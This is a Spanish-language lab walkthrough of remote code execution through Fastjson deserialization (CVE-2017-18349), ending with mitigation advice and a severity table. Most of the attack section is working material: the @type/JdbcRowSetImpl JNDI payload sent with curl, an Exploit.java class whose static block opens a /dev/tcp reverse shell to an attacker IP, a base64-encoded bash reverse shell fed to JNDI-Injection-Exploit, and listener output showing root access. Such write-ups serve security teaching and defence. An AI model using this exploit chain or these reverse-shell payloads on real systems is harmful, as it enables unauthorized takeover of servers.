
Guía paso a paso de la explotación de RCE por deserialización de Fastjson CVE-2017-18349, cubriendo la identificación de la superficie de ataque, el fingerprinting, la inyección JNDI y la obtención de una shell reversa en un entorno de laboratorio Docker.
Comencemos con lo que se ejecuta en el entorno. Listo todos los contenedores activos:
docker ps

La víctima expone solo un puerto: 8090
Actualmente, aún no tengo claro el objetivo. De los resultados de docker ps, el sistema solo publica un servicio notable externamente en el puerto 8090, que está mapeado al servicio interno del contenedor. Esta es la principal superficie de ataque a analizar.
⇒ Lo consulto directamente con Curl para obtener más información
curl -i 192.168.3.137:8090/

Análisis de la respuesta:
Content-Type: application/json;charset=UTF-8.{"age": 25, "name": "Bob"}.⇒ Reflexión: Al acceder al puerto 8090, el servidor devuelve datos JSON. Esto indica que el endpoint no solo sirve una página web estática, sino que tiene un backend que procesa solicitudes y serializa datos en JSON para devolverlos al cliente. De los resultados de docker ps, el comando que se ejecuta dentro del contenedor muestra señales de ser una aplicación Java, por lo que la siguiente dirección de inspección es identificar los analizadores JSON comunes en Java.
En Java, bibliotecas JSON populares como Jackson, Gson y Fastjson se comportan de manera diferente al encontrarse con entradas inusuales. Por lo tanto, podemos utilizar la técnica de Fingerprinting basado en errores. El error devuelto a veces revela directamente la biblioteca o el mecanismo de procesamiento interno. Entre ellas, Fastjson es un objetivo que necesita verificación temprana porque las versiones antiguas tenían múltiples vulnerabilidades críticas relacionadas con la deserialización AutoType.
Aquí, no afirmo de inmediato que el backend use Fastjson. Solo elijo Fastjson como la primera dirección de verificación porque tiene una huella clara a través de la clave @type, y si es una versión antigua de Fastjson, la capacidad de explotación puede ir mucho más allá de un error de análisis estándar, potencialmente incluso llevando a RCE.
Fastjson tiene una característica muy útil para el fingerprinting: reconoce la clave especial @type. Si el backend usa Fastjson y el cuerpo de la solicitud enviado al flujo de deserialización soporta AutoType, el analizador puede intentar interpretar el valor de @type como un nombre de clase Java.
Por lo tanto, envío un payload que contiene @type apuntando a una clase inexistente. El objetivo de este paso no es explotar de inmediato, sino observar si el backend reacciona a @type.
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

Si el backend usara un analizador JSON estándar y no le importara @type, este campo podría ser ignorado o tratado como una clave normal en el JSON. Sin embargo, aquí el backend reacciona con un comportamiento relacionado con el tipo (type not match), lo que significa que la solicitud ingresó al flujo de procesamiento de mapeo de clase/tipo.
El mensaje "type not match" es una firma característica que a menudo se encuentra cuando Fastjson procesa @type pero la clase especificada no coincide con el tipo de datos esperado por el endpoint, o la clase no existe/no está permitida para ser deserializada.
⇒ Reflexión: El backend realmente analiza el cuerpo JSON de la solicitud POST, el campo @type no se ignora, el analizador tiene un mecanismo de procesamiento de metadatos de tipo, y el error devuelto coincide con el comportamiento de Alibaba Fastjson. Por lo tanto, podemos concluir con alta confianza que el backend está usando Alibaba Fastjson.**
Después del paso de fingerprinting, no puedo concluir de inmediato que el sistema sea explotable. Que el backend use Fastjson solo prueba que la solicitud JSON ingresa al flujo de procesamiento de @type.
Para ejecutar un exploit RCE, se debe verificar lo siguiente:
⇒ Reflexión: El error type not match muestra que el backend reacciona a @type, pero el payload actual solo usa una clase falsa para provocar un error. Para una explotación real, necesitamos reemplazar esa clase falsa con una clase real presente en Java/JDK que sea capaz de crear comportamientos de salida como la consulta JNDI.
Para determinar la versión, verifico directamente dentro del contenedor/aplicación.

Después de identificar que la aplicación está empaquetada como el archivo /usr/src/fastjsondemo.jar, procedo con un análisis profundo de esta estructura de paquete para buscar la biblioteca de procesamiento JSON. Al verificar la estructura del directorio BOOT-INF/lib/ se revela el archivo fastjson-1.2.24.jar (Figura X).
El uso de la versión exacta 1.2.24 — la primera y más famosa versión afectada por la vulnerabilidad de deserialización sin ningún mecanismo de defensa autoType — nos permite confirmar que el sistema es vulnerable a CVE-2017-18349.
Encontrar fastjson-1.2.24.jar confirma que la aplicación usa una versión muy antigua de Fastjson, perteneciente al grupo afectado por la falla de deserialización AutoType. En esta versión, el mecanismo de control sobre AutoType no se ajustó como en versiones posteriores, por lo que, en cuanto a las condiciones de la biblioteca, el sistema es susceptible a la explotación a través de clases gadget como JdbcRowSetImpl.
Sin embargo, la explotabilidad real aún depende de cómo el endpoint invoca a Fastjson. Si la aplicación analiza JSON en una clase fija, establecer el payload @type en el objeto raíz podría llevar al error "type not match". Por lo tanto, después de identificar la versión, debemos continuar analizando la JVM, la clase gadget y el comportamiento de devolución de llamada LDAP para confirmar si la cadena de explotación realmente llega a la consulta JNDI.
1. Análisis de las Barreras de la JVM
Además de la versión de Fastjson, la versión de Java también es un factor decisivo. Verifico la JVM dentro del contenedor:
java -version

Esta es información crítica porque las cadenas de explotación de Fastjson típicamente dependen de la Inyección JNDI. Las versiones más nuevas de Java han bloqueado la carga de clases desde codebases externos a través de LDAP/RMI de forma predeterminada. Sin embargo, Java 8u102 es una versión antigua que aún no tiene estos mecanismos de bloqueo.
Por lo tanto, si el atacante puede desencadenar una consulta JNDI, la JVM de la víctima tiene la capacidad de descargar la clase desde un servidor HTTP externo y cargarla en tiempo de ejecución.
Después de identificar el Fastjson antiguo y la JVM, el siguiente paso es encontrar una clase presente en el JDK que pueda producir un comportamiento peligroso cuando se deserializa.
com.sun.rowset.JdbcRowSetImpl es un gadget adecuado porque esta clase existe en el JDK y tiene una propiedad dataSourceName. Cuando a dataSourceName se le asigna un valor en formato de URL LDAP, el objeto puede ser explotado para desencadenar una consulta JNDI saliente.
⇒ Reflexión: No necesito cargar código directamente en el servidor. En su lugar, aprovecho una clase existente dentro de la JVM para forzar a la víctima a conectarse a un servidor LDAP controlado por el atacante.
Después de establecer las condiciones necesarias con respecto a la biblioteca y la JVM, necesito verificar si el payload realmente obliga a la víctima a conectarse hacia afuera. Este es un paso crítico para distinguir entre:
Si el servidor LDAP o el oyente recibe una conexión de la víctima, prueba que el payload ha alcanzado con éxito el paso de la consulta JNDI. Si no hay devolución de llamada y el servidor devuelve type not match, indica que el payload actual no coincide con el flujo de deserialización del endpoint. En este caso, el payload debe ajustarse a la estructura de objeto exacta que está siendo analizada por el endpoint, o se deben utilizar bypasses/gadgets alternativos.
A partir de los pasos anteriores, la cadena de condiciones del sistema se puede resumir de la siguiente manera:
@type indica que el backend procesa el mecanismo de metadatos de tipo, coincidiendo con el comportamiento de Fastjson.fastjson-1.2.24.jar.com.sun.rowset.JdbcRowSetImpl existe en el JDK y puede ser explotado para desencadenar la consulta JNDI a través de la propiedad dataSourceName.⇒ Razonamiento de Explotación:
No necesito encontrar funciones de carga de archivos ni escribir archivos directamente en el servidor. En su lugar, aprovecho el flujo de deserialización de Fastjson para forzar a la JVM a instanciar un objeto JdbcRowSetImpl. Cuando este objeto recibe un dataSourceName en forma de URL LDAP, la víctima realizará una consulta JNDI al servidor controlado por el atacante. Desde allí, el atacante puede redirigir la JVM para descargar la clase maliciosa desde un servidor HTTP externo y ejecutar el código dentro de esa clase.
Por lo tanto, la ruta de explotación seleccionada es:
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase containing Exploit.class
→ Reverse shell back to the attacker
text
Connection received on 192.168.3.137 43928
whoami
root
En Fastjson 1.2.24, la clase com.sun.rowset.JdbcRowSetImpl es una clase gadget presente en el classpath de la JVM (perteneciente a la biblioteca estándar rt.jar). Cuando Fastjson deserializa una cadena JSON que contiene @type apuntando a esta clase:
JdbcRowSetImpl.setDataSourceName() → estableciendo la dirección JNDI.setDataSourceName() desencadena el InitialContext.lookup(dataSourceName) interno → toda la Inyección JNDI ocurre aquí, antes de que setAutoCommit() tenga la oportunidad de ejecutarse.Exploit.class desde el Codebase HTTP, lo carga en memoria → ejecutando el bloque static {}.Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
Dado que la JVM de la víctima ejecuta Java 8u102, debemos especificar el destino como Java 8 durante la compilación. De lo contrario, la víctima lanzará un UnsupportedClassVersionError y la cadena de ataque fallará silenciosamente. Después, configure el Servidor HTTP Codebase:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-ExploitDado que el entorno Kali ejecuta Java 25 — demasiado nuevo para compilar marshalsec — usamos la herramienta alternativa JNDI-Injection-Exploit. Primero, cree el payload de reverse shell en formato base64:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
Inicie el servidor JNDI con el payload anterior:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

La herramienta genera automáticamente el endpoint LDAP:
ldap://192.168.3.114:1389/6bzjwg
Abra el puerto de escucha inversa:
nc -lvnp 4444
Vemos que colocar el payload @type en el objeto raíz devuelve un error type not match — porque el Controlador Spring Boot está mapeando el JSON a un tipo fijo, que no coincide con JdbcRowSetImpl en el nivel raíz.
Ajustando el payload: Envuelva la clase gadget dentro de un campo anidado ("data":{...}) para que Fastjson procese el objeto anidado independientemente de la restricción de tipo del Controlador:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

En el Servidor LDAP (marshalsec): Se registró una solicitud de consulta JNDI exitosa desde la IP de la víctima y se redirigió al codebase HTTP.
En el Servidor HTTP (Python): Se registró la solicitud para descargar el archivo Exploit.class con código de estado 200 OK desde la IP de la víctima, lo que prueba que la JVM cargó el bytecode exitosamente.
En el Oyente Netcat: Se estableció con éxito la sesión interactiva (reverse shell):
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
La cadena de explotación completa se ha verificado con éxito: desde el envío del payload JSON → consulta JNDI → referencia LDAP → carga de la clase remota → ejecución de código en el bloque static {} → establecimiento de una reverse shell con privilegios root.
La vulnerabilidad de RCE por deserialización de Fastjson (CVE-2017-18349) en este sistema está clasificada en el nivel de severidad más alto:
Para resolver completamente esta vulnerabilidad, las acciones deben implementarse en el siguiente orden de prioridad:
1.2.83). A partir de la versión 1.2.25, la función autoType está deshabilitada por defecto y se agregó un estricto mecanismo de lista negra — eliminando directamente el vector de ataque de CVE-2017-18349. O considere migrar a una biblioteca alternativa mejor mantenida como Jackson o Gson.com.sun.jndi.ldap.object.trustURLCodebase se establece en false por defecto — bloqueando por completo la capacidad de la JVM para cargar clases automáticamente de forma remota a través de LDAP/RMI, rompiendo la cadena de Inyección JNDI incluso si Fastjson aún contiene la vulnerabilidad.root. Cree un usuario dedicado (por ejemplo, app_user) con privilegios mínimos — incluso si el atacante logra RCE, el daño se limitará al alcance de los privilegios de ese usuario.SafeMode en el código fuente para desactivar completamente autoType:ParserConfig.getGlobalInstance().setSafeMode(true);
O establezca una lista blanca estricta que permita solo la deserialización de clases aprobadas.
@type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.-network e iptables.| Criterio | Evaluación | Detalles |
|---|
| Puntuación CVSS | 9.8 (Crítico) | Nivel de riesgo extremadamente alto — solo inferior al 10.0 absoluto porque no requiere acceso especial a la red. |
| Autenticación | No requerida | El atacante no necesita ninguna cuenta o credencial para explotarlo. Cualquier persona capaz de enviar una solicitud HTTP puede atacar. |
| Complejidad | Muy baja | Solo requiere enviar una única solicitud HTTP POST que contenga un payload JSON válido — no se necesitan herramientas complejas ni condiciones especiales. |
| Protección JVM | Ninguna | Java 8u102 no tiene un mecanismo para bloquear la carga de clases remotas (trustURLCodebase por defecto es true), permitiendo que toda la cadena de Inyección JNDI → Carga Remota de Clases funcione sin impedimentos. |
| Privilegios obtenidos | root | Control total sobre el contenedor de la aplicación en el nivel de privilegio más alto — lectura/escritura/eliminación de cualquier archivo, incluyendo /etc/shadow. |
| Movimiento lateral | Alto | Desde el contenedor comprometido, el atacante puede escanear la red interna (172.19.0.0/16) y atacar otros contenedores en la misma red Docker project1_default. |